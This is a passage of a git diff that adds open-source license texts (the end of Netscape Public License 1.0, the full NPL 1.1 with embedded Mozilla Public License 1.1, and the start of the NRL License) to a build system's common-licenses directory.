+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Section 3.1-3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A, and to related Covered Code.
+
+6. Versions of the License.
+ 6.1. New Versions. Netscape Communications Corporation (``Netscape'') may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions. Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netscape. No one other than Netscape has the right to modify the terms applicable to Covered Code created under this License.
+ 6.3. Derivative Works. If you create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), you must (a) rename Your license so that the phrases ``Mozilla'', ``MOZILLAPL'', ``MOZPL'', ``Netscape'', ``NPL'' or any confusingly similar phrase do not appear anywhere in your license and (b) otherwise make it clear that your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN ``AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO YOU OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ``commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ``commercial computer software'' and ``commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in, the United States of America: (a) unless otherwise agreed in writing, all disputes relating to this License (excepting any dispute relating to intellectual property rights) shall be subject to final and binding arbitration, with the losing party paying all costs of arbitration; (b) any arbitration relating to this Agreement shall be held in Santa Clara County, California, under the auspices of JAMS/EndDispute; and (c) any litigation relating to this Agreement shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+Except in cases where another Contributor has failed to comply with Section 3.4, You are responsible for damages arising, directly or indirectly, out of Your utilization of rights under this License, based on the number of copies of Covered Code you made available, the revenues you received from utilizing such rights, and other relevant factors. You agree to work with affected parties to distribute responsibility on an equitable basis.
+
+AMENDMENTS
+Additional Terms applicable to the Netscape Public License.
+
+ I. Effect. These additional terms described in this Netscape Public License -- Amendments shall apply to the Mozilla Communicator client code and to all Covered Code under this License.
+ II. ``Netscape's Branded Code'' means Covered Code that Netscape distributes and/or permits others to distribute under one or more trademark(s) which are controlled by Netscape but which are not licensed for use under this License.
+ III. Netscape and logo. This License does not grant any rights to use the trademark ``Netscape'', the ``Netscape N and horizon'' logo or the Netscape lighthouse logo, even if such marks are included in the Original Code.
+ IV. Inability to Comply Due to Contractual Obligation. Prior to licensing the Original Code under this License, Netscape has licensed third party code for use in Netscape's Branded Code. To the extent that Netscape is limited contractually from making such third party code available under this License, Netscape may choose to reintegrate such code into Covered Code without being required to distribute such code in
+Source Code form, even if such code would otherwise be considered ``Modifications'' under this License.
+ V. Use of Modifications and Covered Code by Initial Developer.
+ V.1. In General. The obligations of Section 3 apply to Netscape, except to the extent specified in this Amendment, Section V.2 and V.3. V.2. Other Products. Netscape may include Covered Code in products other than the Netscape's Branded Code which are released by Netscape during the two (2) years following the release date of the Original Code, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License. V.3. Alternative Licensing. Netscape may license the Source Code of Netscape's Branded Code, including Modifications incorporated therein, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License.
+
+ VI. Arbitration and Litigation. Notwithstanding the limitations of Section 11 above, the provisions regarding arbitration and litigation in Section 11(a), (b) and (c) of the License shall apply to all disputes relating to this License.
+
+EXHIBIT A.
+
+“The contents of this file are subject to the Netscape Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/NPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+The Original Code is Mozilla Communicator client code, released March 31, 1998.
+The Initial Developer of the Original Code is Netscape Communications Corporation. Portions created by Netscape are Copyright (C) 1998 Netscape Communications Corporation. All Rights Reserved.
+Contributor(s): ______________________________________.”
+[NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. This is due to time constraints encountered in simultaneously finalizing the License and in preparing the Original Code for release. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.]
diff --git a/meta/files/common-licenses/NPL-1.1 b/meta/files/common-licenses/NPL-1.1
new file mode 100644
index 0000000000..62c5296400
--- /dev/null
+++ b/meta/files/common-licenses/NPL-1.1
@@ -0,0 +1,186 @@
+Netscape Public LIcense version 1.1
+
+AMENDMENTS
+
+The Netscape Public License Version 1.1 ("NPL") consists of the Mozilla Public License Version 1.1 with the following Amendments, including Exhibit A-Netscape Public License.  Files identified with "Exhibit A-Netscape Public License" are governed by the Netscape Public License Version 1.1.
+
+Additional Terms applicable to the Netscape Public License.
+
+ I. Effect.
+ These additional terms described in this Netscape Public License -- Amendments shall apply to the Mozilla Communicator client code and to all Covered Code under this License.
+
+ II. "Netscape's Branded Code" means Covered Code that Netscape distributes and/or permits others to distribute under one or more trademark(s) which are controlled by Netscape but which are not licensed for use under this License.
+ III. Netscape and logo.
+ This License does not grant any rights to use the trademarks "Netscape", the "Netscape N and horizon" logo or the "Netscape lighthouse" logo, "Netcenter", "Gecko", "Java" or "JavaScript", "Smart Browsing" even if such marks are included in the Original Code or Modifications.
+ IV. Inability to Comply Due to Contractual Obligation.
+ Prior to licensing the Original Code under this License, Netscape has licensed third party code for use in Netscape's Branded Code. To the extent that Netscape is limited contractually from making such third party code available under this License, Netscape may choose to reintegrate such code into Covered Code without being required to distribute such code in Source Code form, even if such code would otherwise be considered "Modifications" under this License.
+ V. Use of Modifications and Covered Code by Initial Developer.
+ V.1. In General.
+ The obligations of Section 3 apply to Netscape, except to the extent specified in this Amendment, Section V.2 and V.3.
+
+ V.2. Other Products.
+ Netscape may include Covered Code in products other than the Netscape's Branded Code which are released by Netscape during the two (2) years following the release date of the Original Code, without such additional products becoming subject to the terms of this License, and may license such additional products on different terms from those contained in this License.
+
+ V.3. Alternative Licensing.
+ Netscape may license the Source Code of Netscape's Branded Code, including Modifications incorporated therein, without such Netscape Branded Code becoming subject to the terms of this License, and may license such Netscape Branded Code on different terms from those contained in this License.
+
+ VI. Litigation.
+ Notwithstanding the limitations of Section 11 above, the provisions regarding litigation in Section 11(a), (b) and (c) of the License shall apply to all disputes relating to this License.
+
+ EXHIBIT A-Netscape Public License.
+  
+"The contents of this file are subject to the Netscape Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/NPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is Mozilla Communicator client code, released March 31, 1998.
+
+The Initial Developer of the Original Code is Netscape Communications Corporation. Portions created by Netscape are Copyright (C) 1998-1999 Netscape Communications Corporation. All Rights Reserved.
+Contributor(s): ______________________________________.
+  
+Alternatively, the contents of this file may be used under the terms of the _____ license (the  "[___] License"), in which case the provisions of [______] License are applicable  instead of those above.  If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the NPL, indicate your decision by deleting  the provisions above and replace  them with the notice and other provisions required by the [___] License.  If you do not delete the provisions above, a recipient may use your version of this file under either the NPL or the [___] License."
+
+
+Mozilla Public License Version 1.1
+
+1. Definitions.
+
+ 1.0.1. "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+ 1.1. "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+ 1.2. "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+ 1.3. "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4. "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.5. "Executable" means Covered Code in any form other than Source Code.
+
+ 1.6. "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.7. "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.8. "License" means this document.
+
+ 1.8.1. "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9. "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10. "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+ 1.10.1. "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.11. "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+ 1.12. "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2. Source Code License.
+
+ 2.1. The Initial Developer Grant. The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ a. under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+ b. under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ c. the licenses granted in this Section 2.1 (a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ d. Notwithstanding Section 2.1 (b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices.
+
+ 2.2. Contributor Grant. Subject to third party intellectual property claims, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license
+
+ a. under intellectual property rights (other than patent or trademark) Licensable by Contributor, to use, reproduce, modify, display, perform, sublicense and distribute the Modifications created by such Contributor (or portions thereof) either on an unmodified basis, with other Modifications, as Covered Code and/or as part of a Larger Work; and
+ b. under Patent Claims infringed by the making, using, or selling of Modifications made by that Contributor either alone and/or in combination with its Contributor Version (or portions of such combination), to make, use, sell, offer for sale, have made, and/or otherwise dispose of: 1) Modifications made by that Contributor (or portions thereof); and 2) the combination of Modifications made by that Contributor with its Contributor Version (or portions of such combination).
+ c. the licenses granted in Sections 2.2 (a) and 2.2 (b) are effective on the date Contributor first makes Commercial Use of the Covered Code.
+ d. Notwithstanding Section 2.2 (b) above, no patent license is granted: 1) for any code that Contributor has deleted from the Contributor Version; 2) separate from the Contributor Version; 3) for infringements caused by: i) third party modifications of Contributor Version or ii) the combination of Modifications made by that Contributor with other software (except as part of the Contributor Version) or other devices; or 4) under Patent Claims infringed by Covered Code in the absence of Modifications made by that Contributor.
+
+3. Distribution Obligations.
+
+ 3.1. Application of License. The Modifications which You create or to which You contribute are governed by the terms of this License, including without limitation Section 2.2. The Source Code version of Covered Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. However, You may include an additional document offering the additional rights described in Section 3.5.
+
+ 3.2. Availability of Source Code. Any Modification which You create or to which You contribute must be made available in Source Code form under the terms of this License either on the same media as an Executable version or via an accepted Electronic Distribution Mechanism to anyone to whom you made an Executable version available; and if made available via Electronic Distribution Mechanism, must remain available for at least twelve (12) months after the date it initially became available, or at least six (6) months after a subsequent version of that particular Modification has been made available to such recipients. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ 3.3. Description of Modifications. You must cause all Covered Code to which You contribute to contain a file documenting the changes You made to create that Covered Code and the date of any change. You must include a prominent statement that the Modification is derived, directly or indirectly, from Original Code provided by the Initial Developer and including the name of the Initial Developer in (a) the Source Code, and (b) in any notice in an Executable version or related documentation in which You describe the origin or ownership of the Covered Code.
+
+ 3.4. Intellectual Property Matters
+
+ (a) Third Party Claims
+ If Contributor has knowledge that a license under a third party's intellectual property rights is required to exercise the rights granted by such Contributor under Sections 2.1 or 2.2, Contributor must include a text file with the Source Code distribution titled "LEGAL" which describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If Contributor obtains such knowledge after the Modification is made available as described in Section 3.2, Contributor shall promptly modify the LEGAL file in all copies Contributor makes available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Covered Code that new knowledge has been obtained.
+
+ (b) Contributor APIs
+ If Contributor's Modifications include an application programming interface and Contributor has knowledge of patent licenses which are reasonably necessary to implement that API, Contributor must also include this information in the LEGAL file.
+
+ (c) Representations.
+ Contributor represents that, except as disclosed pursuant to Section 3.4 (a) above, Contributor believes that Contributor's Modifications are Contributor's original creation(s) and/or Contributor has sufficient rights to grant the rights conveyed by this License.
+
+ 3.5. Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Covered Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Covered Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer or any Contributor. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.6. Distribution of Executable Versions. You may distribute Covered Code in Executable form only if the requirements of Sections 3.1, 3.2, 3.3, 3.4 and 3.5 have been met for that Covered Code, and if You include a notice stating that the Source Code version of the Covered Code is available under the terms of this License, including a description of how and where You have fulfilled the obligations of Section 3.2. The notice must be conspicuously included in any notice in an Executable version, related documentation or collateral in which You describe recipients' rights relating to the Covered Code. You may distribute the Executable version of Covered Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License and that the license for the Executable version does not attempt to limit or alter the recipient's rights in the Source Code version from the rights set forth in this License. If You distribute the Executable version under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer or any Contributor. You hereby agree to indemnify the Initial Developer and every Contributor for any liability incurred by the Initial Developer or such Contributor as a result of any such terms You offer.
+
+ 3.7. Larger Works. You may create a Larger Work by combining Covered Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Covered Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.4 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5. Application of this License.
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+ 6.1. New Versions
+ Netscape Communications Corporation ("Netscape") may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2. Effect of New Versions
+ Once Covered Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Covered Code under the terms of any subsequent version of the License published by Netscape. No one other than Netscape has the right to modify the terms applicable to Covered Code created under this License.
+
+ 6.3. Derivative Works
+ If You create or use a modified version of this License (which you may only do in order to apply it to code which is not already Covered Code governed by this License), You must (a) rename Your license so that the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape", "MPL", "NPL" or any confusingly similar phrase do not appear in your license (except to note that your license differs from this License) and (b) otherwise make it clear that Your version of the license contains terms which differ from the Mozilla Public License and Netscape Public License. (Filling in the name of the Initial Developer, Original Code or Contributor in the notice described in Exhibit A shall not of themselves be deemed to be modifications of this License.)
+
+7. DISCLAIMER OF WARRANTY
+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. Termination
+
+ 8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ a. such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+ b. any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+ 8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+ 8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. government end users
+The Covered Code is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. Miscellaneous
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. Responsibility for claims
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. Multiple-licensed code
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the MPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+Exhibit A - Mozilla Public License.
+
+"The contents of this file are subject to the Mozilla Public License Version 1.1 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is ______________________________________.
+
+The Initial Developer of the Original Code is ________________________.
+Portions created by ______________________ are Copyright (C) ______
+_______________________. All Rights Reserved.
+
+Contributor(s): ______________________________________.
+
+Alternatively, the contents of this file may be used under the terms of the _____ license (the "[___] License"), in which case the provisions of [______] License are applicable instead of those above. If you wish to allow use of your version of this file only under the terms of the [____] License and not to allow others to use your version of this file under the MPL, indicate your decision by deleting the provisions above and replace them with the notice and other provisions required by the [___] License. If you do not delete the provisions above, a recipient may use your version of this file under either the MPL or the [___] License."
+
+NOTE: The text of this Exhibit A may differ slightly from the text of the notices in the Source Code files of the Original Code. You should use the text of this Exhibit A rather than the text found in the Original Code Source Code for Your Modifications.
diff --git a/meta/files/common-licenses/NRL b/meta/files/common-licenses/NRL
new file mode 100644
index 0000000000..5e104730c6
--- /dev/null
+++ b/meta/files/common-licenses/NRL
@@ -0,0 +1,28 @@
+NRL License
+
+COPYRIGHT NOTICE
+
+All of the documentation and software included in this software distribution from the US Naval Research Laboratory (NRL) are copyrighted by their respective developers.
+
+Portions of the software are derived from the Net/2 and 4.4-Lite Berkeley Software Distributions (BSD) of the University of California at Berkeley and those portions are copyright by The Regents of the University of California. All Rights Reserved. The UC Berkeley Copyright and License agreement is binding on those portions of the software. In all cases, the NRL developers have retained the original UC Berkeley copyright and license notices in the respective files in accordance with the UC Berkeley copyrights and license.
+
+Portions of this software and documentation were developed at NRL by various people. Those developers have each copyrighted the portions that they developed at NRL and have assigned All Rights for those portions to NRL. Outside the USA, NRL has copyright on some of the software developed at NRL. The affected files all contain specific copyright notices and those notices must be retained in any derived work.
+
+NRL LICENSE
+
+NRL grants permission for redistribution and use in source and binary forms, with or without modification, of the software and documentation created at NRL provided that the following conditions are met:
+
+ 1. All terms of the UC Berkeley copyright and license must be followed.
+ 2. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ 3. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ 4. All advertising materials mentioning features or use of this software must display the following acknowledgements:
+
+ This product includes software developed by the University of California, Berkeley and its contributors.
+
+ This product includes software developed at the Information Technology Division, US Naval Research Laboratory.
+
+ 5. Neither the name of the NRL nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
